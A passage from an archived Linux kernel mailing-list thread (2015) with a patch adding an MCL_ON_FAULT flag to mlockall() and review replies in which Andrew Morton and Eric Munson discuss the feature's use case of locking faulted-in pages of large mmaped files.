 		lru_cache_add(page);
 		return;
-- 
1.9.1


From - Thu Nov 08 21:37:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api,gmane.linux.kernel.mm
Subject: [PATCH 2/3] Add mlockall flag for locking pages on fault
Date: Fri,  8 May 2015 15:33:45 -0400
Lines: 168
Approved: news@gmane.org
Message-ID: <1431113626-19153-3-git-send-email-emunson@akamai.com>
References: <1431113626-19153-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1431113667 14488 80.91.229.3 (8 May 2015 19:34:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 May 2015 19:34:27 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org,
	linux-mm@kvack.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri May 08 21:34:26 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Yqo2T-0002RU-GQ
	for glk-linux-kernel-3@plane.gmane.org; Fri, 08 May 2015 21:34:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932639AbbEHTeW (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 8 May 2015 15:34:22 -0400
Original-Received: from prod-mail-xrelay02.akamai.com ([72.246.2.14]:52407 "EHLO
	prod-mail-xrelay02.akamai.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932591AbbEHTeI (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 8 May 2015 15:34:08 -0400
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 7AFF2285F2;
	Fri,  8 May 2015 19:34:07 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id 67EA6285FB;
	Fri,  8 May 2015 19:34:07 +0000 (GMT)
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.13.70])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id 62CC62032;
	Fri,  8 May 2015 19:34:07 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1431113626-19153-1-git-send-email-emunson@akamai.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1949135 gmane.linux.ports.alpha:3064 gmane.linux.ports.mips.general:48445 gmane.linux.ports.parisc:25720 gmane.linux.ports.ppc64.devel:112695 gmane.linux.ports.sparc:21014 gmane.linux.kernel.cross-arch:27565 gmane.linux.kernel.api:10831 gmane.linux.kernel.mm:132476
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1949135>

Building on the previous patch, extend mlockall() to give a process a
way to specify that pages should be locked when they are faulted in, but
that pre-faulting is not needed.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org
Cc: linux-mm@kvack.org
---
 arch/alpha/include/uapi/asm/mman.h   |  1 +
 arch/mips/include/uapi/asm/mman.h    |  1 +
 arch/parisc/include/uapi/asm/mman.h  |  1 +
 arch/powerpc/include/uapi/asm/mman.h |  1 +
 arch/sparc/include/uapi/asm/mman.h   |  1 +
 arch/tile/include/uapi/asm/mman.h    |  1 +
 arch/xtensa/include/uapi/asm/mman.h  |  1 +
 include/uapi/asm-generic/mman.h      |  1 +
 mm/mlock.c                           | 13 +++++++++----
 9 files changed, 17 insertions(+), 4 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index 15e96e1..3120dfb 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -38,6 +38,7 @@
 
 #define MCL_CURRENT	 8192		/* lock all currently mapped pages */
 #define MCL_FUTURE	16384		/* lock all additions to address space */
+#define MCL_ON_FAULT	32768		/* lock all pages that are faulted in */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index 47846a5..82aec3c 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -62,6 +62,7 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ON_FAULT	4		/* lock all pages that are faulted in */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 1514cd7..f4601f3 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -32,6 +32,7 @@
 
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ON_FAULT	4		/* lock all pages that are faulted in */
 
 #define MADV_NORMAL     0               /* no further special treatment */
 #define MADV_RANDOM     1               /* expect random page references */
diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/include/uapi/asm/mman.h
index fce74fe..0a28efc 100644
--- a/arch/powerpc/include/uapi/asm/mman.h
+++ b/arch/powerpc/include/uapi/asm/mman.h
@@ -22,6 +22,7 @@
 
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
+#define MCL_ON_FAULT	0x80000		/* lock all pages that are faulted in */
 
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/uapi/asm/mman.h
index 12425d8..119be80 100644
--- a/arch/sparc/include/uapi/asm/mman.h
+++ b/arch/sparc/include/uapi/asm/mman.h
@@ -17,6 +17,7 @@
 
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
+#define MCL_ON_FAULT	0x80000		/* lock all pages that are faulted in */
 
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
diff --git a/arch/tile/include/uapi/asm/mman.h b/arch/tile/include/uapi/asm/mman.h
index ec04eaf..66ea935 100644
--- a/arch/tile/include/uapi/asm/mman.h
+++ b/arch/tile/include/uapi/asm/mman.h
@@ -37,6 +37,7 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ON_FAULT	4		/* lock all pages that are faulted in */
 
 
 #endif /* _ASM_TILE_MMAN_H */
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index 42d43cc..9abcc29 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -75,6 +75,7 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ON_FAULT	4		/* lock all pages that are faulted in */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic/mman.h
index fc4e586..6ac7a7b 100644
--- a/include/uapi/asm-generic/mman.h
+++ b/include/uapi/asm-generic/mman.h
@@ -18,5 +18,6 @@
 
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ON_FAULT	4		/* lock all pages that are faulted in */
 
 #endif /* __ASM_GENERIC_MMAN_H */
diff --git a/mm/mlock.c b/mm/mlock.c
index 6fd2cf1..1406835 100644
--- a/mm/mlock.c
+++ b/mm/mlock.c
@@ -579,7 +579,7 @@ static int do_mlock(unsigned long start, size_t len, int on)
 
 		/* Here we know that  vma->vm_start <= nstart < vma->vm_end. */
 
-		newflags = vma->vm_flags & ~VM_LOCKED;
+		newflags = vma->vm_flags & ~(VM_LOCKED | VM_LOCKONFAULT);
 		if (on)
 			newflags |= VM_LOCKED;
 
@@ -662,13 +662,17 @@ static int do_mlockall(int flags)
 		current->mm->def_flags |= VM_LOCKED;
 	else
 		current->mm->def_flags &= ~VM_LOCKED;
-	if (flags == MCL_FUTURE)
+	if (flags & MCL_ON_FAULT)
+		current->mm->def_flags |= VM_LOCKONFAULT;
+	else
+		current->mm->def_flags &= ~VM_LOCKONFAULT;
+	if (flags == MCL_FUTURE || flags == MCL_ON_FAULT)
 		goto out;
 
 	for (vma = current->mm->mmap; vma ; vma = prev->vm_next) {
 		vm_flags_t newflags;
 
-		newflags = vma->vm_flags & ~VM_LOCKED;
+		newflags = vma->vm_flags & ~(VM_LOCKED | VM_LOCKONFAULT);
 		if (flags & MCL_CURRENT)
 			newflags |= VM_LOCKED;
 
@@ -685,7 +689,8 @@ SYSCALL_DEFINE1(mlockall, int, flags)
 	unsigned long lock_limit;
 	int ret = -EINVAL;
 
-	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE)))
+	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE | MCL_ON_FAULT)) ||
+	    ((flags & MCL_FUTURE) && (flags & MCL_ON_FAULT)))
 		goto out;
 
 	ret = -EPERM;
-- 
1.9.1


From - Thu Nov 08 21:37:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH 0/3] Allow user to request memory to be locked on page
 fault
Date: Fri, 8 May 2015 12:42:03 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20150508124203.6679b1d35ad9555425003929@linux-foundation.org>
References: <1431113626-19153-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1431114137 23229 80.91.229.3 (8 May 2015 19:42:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 May 2015 19:42:17 +0000 (UTC)
Cc: Shuah Khan <shuahkh@osg.samsung.com>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: sparclinux-owner@vger.kernel.org Fri May 08 21:42:08 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1Yqo9v-0005ZL-NQ
	for lnx-sparclinux@plane.gmane.org; Fri, 08 May 2015 21:42:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932238AbbEHTmG (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Fri, 8 May 2015 15:42:06 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:60389 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752999AbbEHTmF (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Fri, 8 May 2015 15:42:05 -0400
Original-Received: from akpm3.mtv.corp.google.com (unknown [216.239.45.95])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id E6CB5323;
	Fri,  8 May 2015 19:42:03 +0000 (UTC)
In-Reply-To: <1431113626-19153-1-git-send-email-emunson@akamai.com>
X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.23; x86_64-pc-linux-gnu)
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21015 gmane.linux.ports.alpha:3065 gmane.linux.kernel:1949139 gmane.linux.ports.mips.general:48446 gmane.linux.ports.parisc:25721 gmane.linux.ports.ppc64.devel:112696 gmane.linux.kernel.mm:132477 gmane.linux.kernel.cross-arch:27566 gmane.linux.kernel.api:10832
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21015>

On Fri,  8 May 2015 15:33:43 -0400 Eric B Munson <emunson@akamai.com> wrote:

> mlock() allows a user to control page out of program memory, but this
> comes at the cost of faulting in the entire mapping when it is
> allocated.  For large mappings where the entire area is not necessary
> this is not ideal.
> 
> This series introduces new flags for mmap() and mlockall() that allow a
> user to specify that the covered are should not be paged out, but only
> after the memory has been used the first time.

Please tell us much much more about the value of these changes: the use
cases, the behavioural improvements and performance results which the
patchset brings to those use cases, etc.

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.kernel.api,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 0/3] Allow user to request memory to be locked on page
 fault
Date: Fri, 8 May 2015 16:06:10 -0400
Lines: 63
Approved: news@gmane.org
Message-ID: <20150508200610.GB29933@akamai.com>
References: <1431113626-19153-1-git-send-email-emunson@akamai.com>
 <20150508124203.6679b1d35ad9555425003929@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="kORqDWCi7qDJ0mEj"
X-Trace: ger.gmane.org 1431115579 17557 80.91.229.3 (8 May 2015 20:06:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 May 2015 20:06:19 +0000 (UTC)
Cc: Shuah Khan <shuahkh-JPH+aEBZ4P+UEJcrhfAQsw@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Original-X-From: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Fri May 08 22:06:17 2015
Return-path: <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1YqoXJ-0007AW-2l
	for glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Fri, 08 May 2015 22:06:17 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S932451AbbEHUGP (ORCPT <rfc822;glka-linux-api@m.gmane.org>);
	Fri, 8 May 2015 16:06:15 -0400
Original-Received: from prod-mail-xrelay07.akamai.com ([72.246.2.115]:9436 "EHLO
	prod-mail-xrelay07.akamai.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932223AbbEHUGO (ORCPT
	<rfc822;linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Fri, 8 May 2015 16:06:14 -0400
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id B5D1447A8A;
	Fri,  8 May 2015 20:06:13 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id A986647A84;
	Fri,  8 May 2015 20:06:13 +0000 (GMT)
Original-Received: from akamai.com (caldecot.sanmateo.corp.akamai.com [172.22.186.166])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id 86CBF2039;
	Fri,  8 May 2015 20:06:11 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150508124203.6679b1d35ad9555425003929-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-api.vger.kernel.org>
X-Mailing-List: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.api:10833 gmane.linux.ports.alpha:3066 gmane.linux.kernel:1949147 gmane.linux.ports.mips.general:48448 gmane.linux.ports.parisc:25722 gmane.linux.ports.ppc64.devel:112697 gmane.linux.ports.sparc:21016 gmane.linux.kernel.mm:132479 gmane.linux.kernel.cross-arch:27567
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.api/10833>


--kORqDWCi7qDJ0mEj
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, 08 May 2015, Andrew Morton wrote:

> On Fri,  8 May 2015 15:33:43 -0400 Eric B Munson <emunson-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org> wro=
te:
>=20
> > mlock() allows a user to control page out of program memory, but this
> > comes at the cost of faulting in the entire mapping when it is
> > allocated.  For large mappings where the entire area is not necessary
> > this is not ideal.
> >=20
> > This series introduces new flags for mmap() and mlockall() that allow a
> > user to specify that the covered are should not be paged out, but only
> > after the memory has been used the first time.
>=20
> Please tell us much much more about the value of these changes: the use
> cases, the behavioural improvements and performance results which the
> patchset brings to those use cases, etc.
>=20

The primary use case is for mmaping large files read only.  The process
knows that some of the data is necessary, but it is unlikely that the
entire file will be needed.  The developer only wants to pay the cost to
read the data in once.  Unfortunately developer must choose between
allowing the kernel to page in the memory as needed and guaranteeing
that the data will only be read from disk once.  The first option runs
the risk of having the memory reclaimed if the system is under memory
pressure, the second forces the memory usage and startup delay when
faulting in the entire file.

I am working on getting startup times with and without this change for
an application, I will post them as soon as I have them.

Eric

--kORqDWCi7qDJ0mEj
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVTRcyAAoJELbVsDOpoOa9ve0P/31hrYdpIkjcL8etZV7j1Amz
CbQNUV91heC9gS4zlE+Pkm/1OT+lPBx8qUXxoy1yvGtjh4Hy6dOfkrM/ysC60Xw3
GCLHqDfNm3GoRK4a4MfebDLlesAjLuRpk8n4dxjyZ8EbL6MeTaiAxDqyZ7YUqfNf
/OIxvT6zni/Tw1/JhTEE5G2qnjU7MLXJeALQEOISPmb+Fm59/sIOn5jcppYauPvW
8IieUQkD+BspBKu4L3UG66nhtEc67QX4IMyQCLe4asaZqz2rs4aI9R/YZeuXl+dK
JYcmsI3bX86XGvSKS0wWySw7/agkzOB/df+alVVtMB6iYFn46fwZ0wlMf051q8V1
aK9u/5/Fwp945kC0gnMa2qAirbHhDmhrxAJam+bPUaCz58EZq4ItZ6OmDkWVI/O9
332mvX26Wm5vzKZ9ki5qeh6CdFPBbPWvtxQHo7mx/BVEoJsKR322y73YHY6bsJ4x
eWSQQ+jNq5Oshogd3x73Fon4/8zjN+vBYFva5P9bSUH9Aq+TQtuc9zl3OD2nbe8x
j74wSLsyfrpBjBzSDG1lNiWN+3OZKsvxSFPX07SK4hkCOKf3jv/6g8PlftJaQNgJ
1hFJDRmz0Dr0OLbU8oAaC7A2BiSQLRBpqaW2tcN/igSu1B13adZVPA+WGcjOcqW2
detDdJZun8mNCxkguBtQ
=s0uu
-----END PGP SIGNATURE-----

--kORqDWCi7qDJ0mEj--

From - Thu Nov 08 21:37:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH 0/3] Allow user to request memory to be locked on page
 fault
Date: Fri, 8 May 2015 13:15:23 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <20150508131523.f970d13a213bca63bd6f2619@linux-foundation.org>
References: <1431113626-19153-1-git-send-email-emunson@akamai.com>
	<20150508124203.6679b1d35ad9555425003929@linux-foundation.org>
	<20150508200610.GB29933@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1431116138 27802 80.91.229.3 (8 May 2015 20:15:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 May 2015 20:15:38 +0000 (UTC)
Cc: Shuah Khan <shuahkh@osg.samsung.com>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Fri May 08 22:15:28 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1YqogA-0002Ph-Pf
	for lnx-linux-alpha@plane.gmane.org; Fri, 08 May 2015 22:15:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932360AbbEHUP0 (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Fri, 8 May 2015 16:15:26 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:60997 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932072AbbEHUPZ (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>); Fri, 8 May 2015 16:15:25 -0400
Original-Received: from akpm3.mtv.corp.google.com (unknown [216.239.45.95])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id 1CCB3B68;
	Fri,  8 May 2015 20:15:24 +0000 (UTC)
In-Reply-To: <20150508200610.GB29933@akamai.com>
X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.23; x86_64-pc-linux-gnu)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3067 gmane.linux.kernel:1949151 gmane.linux.ports.mips.general:48449 gmane.linux.ports.parisc:25723 gmane.linux.ports.ppc64.devel:112698 gmane.linux.ports.sparc:21017 gmane.linux.kernel.mm:132480 gmane.linux.kernel.cross-arch:27568 gmane.linux.kernel.api:10834
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3067>

On Fri, 8 May 2015 16:06:10 -0400 Eric B Munson <emunson@akamai.com> wrote:

> On Fri, 08 May 2015, Andrew Morton wrote:
> 
> > On Fri,  8 May 2015 15:33:43 -0400 Eric B Munson <emunson@akamai.com> wrote:
> > 
> > > mlock() allows a user to control page out of program memory, but this
> > > comes at the cost of faulting in the entire mapping when it is
> > > allocated.  For large mappings where the entire area is not necessary
> > > this is not ideal.
> > > 
> > > This series introduces new flags for mmap() and mlockall() that allow a
> > > user to specify that the covered are should not be paged out, but only
> > > after the memory has been used the first time.
> > 
> > Please tell us much much more about the value of these changes: the use
> > cases, the behavioural improvements and performance results which the
> > patchset brings to those use cases, etc.
> > 
> 
> The primary use case is for mmaping large files read only.  The process
> knows that some of the data is necessary, but it is unlikely that the
> entire file will be needed.  The developer only wants to pay the cost to
> read the data in once.  Unfortunately developer must choose between
> allowing the kernel to page in the memory as needed and guaranteeing
> that the data will only be read from disk once.  The first option runs
> the risk of having the memory reclaimed if the system is under memory
> pressure, the second forces the memory usage and startup delay when
> faulting in the entire file.

Why can't the application mmap only those parts of the file which it
wants and mlock those?

> I am working on getting startup times with and without this change for
> an application, I will post them as soon as I have them.

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH 0/3] Allow user to request memory to be locked on page
 fault
Date: Mon, 11 May 2015 10:36:18 -0400
Lines: 103
Approved: news@gmane.org
Message-ID: <20150511143618.GA30570@akamai.com>
References: <1431113626-19153-1-git-send-email-emunson@akamai.com>
 <20150508124203.6679b1d35ad9555425003929@linux-foundation.org>
 <20150508200610.GB29933@akamai.com>
 <20150508131523.f970d13a213bca63bd6f2619@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="6TrnltStXW4iwmi0"
X-Trace: ger.gmane.org 1431354994 7712 80.91.229.3 (11 May 2015 14:36:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 May 2015 14:36:34 +0000 (UTC)
Cc: Shuah Khan <shuahkh@osg.samsung.com>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Mon May 11 16:36:24 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
